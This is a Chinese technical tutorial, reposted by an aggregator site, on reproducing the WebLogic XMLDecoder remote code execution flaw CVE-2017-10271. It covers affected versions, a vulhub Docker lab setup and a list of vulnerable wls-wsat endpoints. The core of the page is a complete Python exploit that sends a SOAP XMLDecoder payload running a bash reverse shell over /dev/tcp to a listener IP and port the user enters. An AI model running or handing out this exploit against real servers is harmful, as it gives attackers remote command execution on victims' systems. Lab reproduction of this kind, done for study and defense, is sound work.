Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271复现
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271复现,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含3003字,纯文字阅读大概需要5分钟。
内容图文
![Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271复现](/upload/InfoBanner/zyjiaocheng/1313/e531c27e1c1a4f3ab710395fec13a03f.jpg)
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
影响版本
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.0.0
Weblogic 12.2.1.2.0
环境搭建
$ git clone https://github.com/vulhub/vulhub.git
$ cd vulhub/weblogic/CVE-2017-10271
$ sudo docker-compose up -d
漏洞复现
访问网站,即为环境搭建成功:
访问http://x.x.x.x:7001/wls-wsat/CoordinatorPortType,可以访问则漏洞存在:
其他可以使用的url:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
反弹shell exp:
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
import sys
import json
def title():
print(‘+------------------------------------------‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m‘)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m‘)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m‘)
print(‘+ \033[34mVersion: Weblogic 10.3.6.0.0 \033[0m‘)
print(‘+ \033[34m Weblogic 12.1.3.0.0 \033[0m‘)
print(‘+ \033[34m Weblogic 12.2.1.0.0 \033[0m‘)
print(‘+ \033[34m Weblogic 12.2.1.2.0 \033[0m‘)
print(‘+ \033[36m使用格式: python3 CVE-2017-10271.py \033[0m‘)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:7001 \033[0m‘)
print(‘+ \033[36mCmd >>> shell(反弹shell) \033[0m‘)
print(‘+------------------------------------------‘)
def POC_1(target_url, IP, PORT):
vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
headers = {
"Content-Type": "text/xml",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = """
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" >
<void >
<array length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/%s/%s 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
""" % (IP,PORT)
try:
response = requests.request("POST", url=vuln_url, headers=headers, data=data)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
if __name__ == ‘__main__‘:
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
IP = str(input("\033[35m请输入监听IP >>> \033[0m"))
PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
POC_1(target_url, IP, PORT)
反弹shell:
参考链接
原文:https://www.cnblogs.com/shley/p/14671658.html
内容总结
以上是互联网集市为您收集整理的Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271复现全部内容,希望文章能够帮你解决Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271复现所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。